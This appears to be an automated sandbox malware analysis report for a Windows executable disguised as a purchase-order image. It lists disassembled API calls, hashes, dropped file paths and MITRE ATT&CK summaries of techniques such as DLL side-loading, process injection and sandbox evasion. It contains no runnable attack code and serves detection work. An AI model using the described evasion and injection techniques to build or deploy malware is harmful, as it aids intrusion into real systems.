lstrcatA.KERNEL32(?,00409014), ref: 0040579E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040577E

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 68e0f27090206f37803ec84d28e37c7f09ebc5753c251fe5cd2e9e8878fbe2c1
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 44D0A972606A307AE2022A15AC09E8F2A08CF62301B044433F200B22A2C63C4E418BFE

Function 00405817 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,?,00405883,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,75573410,?,C:\Users\user\AppData\Local\Temp\,004055CE,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405825
CharNextA.USER32(00000000), ref: 0040582A
CharNextA.USER32(00000000), ref: 0040583E

Strings

C:\Users\user\AppData\Local\Temp\nsq8002.tmp, xrefs: 00405818

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsq8002.tmp
API String ID: 3213498283-2063696683
Opcode ID: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction ID: db1d673f1cc138dbc44dca3842ff1338afb0bbfba97f9f865265ae6769849a0e
Opcode Fuzzy Hash: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction Fuzzy Hash: 8AF06253908F916AFB3272350C84B6B5B89CB55351F1C847BEE41AA2D2827C58608F9A

Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DE2,00000001), ref: 00402C15
GetTickCount.KERNEL32 ref: 00402C33
CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
ShowWindow.USER32(00000000,00000005), ref: 00402C5E

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: fd7178c7721e2cb8ae00692e9a41079980ecee2ccae2d9a286676897a8e6dfc8
Instruction ID: 945901cf9e20f70a46e78403882e62b60873afe576e8e7cbc1612cb0b63c5969
Opcode Fuzzy Hash: fd7178c7721e2cb8ae00692e9a41079980ecee2ccae2d9a286676897a8e6dfc8
Instruction Fuzzy Hash: 14F03A30809631ABD622AB34BF8EDDE7A64AB41B01B1184B7F014B21E4D77C58C6CBDD

Function 00404E99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404EC8
CallWindowProcA.USER32(?,?,?,?), ref: 00404F19

Part of subcall function 00403F3D: SendMessageA.USER32(00010426,00000000,00000000,00000000), ref: 00403F4F

Strings

, xrefs: 00404EA9

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction ID: 1c3aa9a2031039442b6cd3bdc360fce63fd7b644e996c38402bdeea248e73ffc
Opcode Fuzzy Hash: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction Fuzzy Hash: 2D0171B1104249AFDF219F51DC80A5B3A25E7C4755F104037FB00762D1D33AAD619B6E

Function 004035F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75573410,00000000,C:\Users\user\AppData\Local\Temp\,004035CF,004033E9,?), ref: 00403611
GlobalFree.KERNEL32(00B719E8), ref: 00403618

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004035F7

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: f64556832675c450ee94ce825956f3fa5fe3b9abfe3e42bbbd50814105250277
Instruction ID: f0c2977cb20e6558c2e773556eb83bc0584892ec035bd6653f77e23ad75a478d
Opcode Fuzzy Hash: f64556832675c450ee94ce825956f3fa5fe3b9abfe3e42bbbd50814105250277
Instruction Fuzzy Hash: 1DE0C233905120ABC6315F44FE0472A7B7CAF48B22F020067EC447B3A087786C528BCC

Function 004057C5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,80000000,00000003), ref: 004057CB
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,80000000,00000003), ref: 004057D9

Strings

C:\Users\user\Desktop, xrefs: 004057C5

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: d39d8f188df628cf061828239c0557f0f3bbaa41193ad9941d070ee56f497fe5
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: E5D0A772408D706EF30352109C04B8F6A48CF26300F090463F040A3191C27C5D424BBE

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 004058E4 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058F4
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040590C
CharNextA.USER32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040591D
lstrlenA.KERNEL32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405926

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction ID: 7adaab352aa717b916c044831a99f4991ef712c09a2c9b56ba9fed1a583d178e
Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction Fuzzy Hash: 43F09636505518FFC7129FA5DC0099EBBB8EF16360B2540B9F801F7360D674EE019BA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO-10212024168877 PNG2023-W101.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Redamation.Nyk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes\uhviskes.com

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\absumption.kor

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\autographist.udd

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\hornfisks.woo

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\lighty.sto

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\nonarbitrable.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\spokesmen.thr

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\stumprumpet.und

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Vvstypernes.Kip

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Windows Analysis Report
PO-10212024168877 PNG2023-W101.exe

Function 004030EC Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Function 00405063 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405D2E Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Function 004055AE Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159
filestringCOMMON

Function 00403A1E Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Function 0040368C Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402C66 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 00401751 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00404F25 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 004053EB Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Function 00406037 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
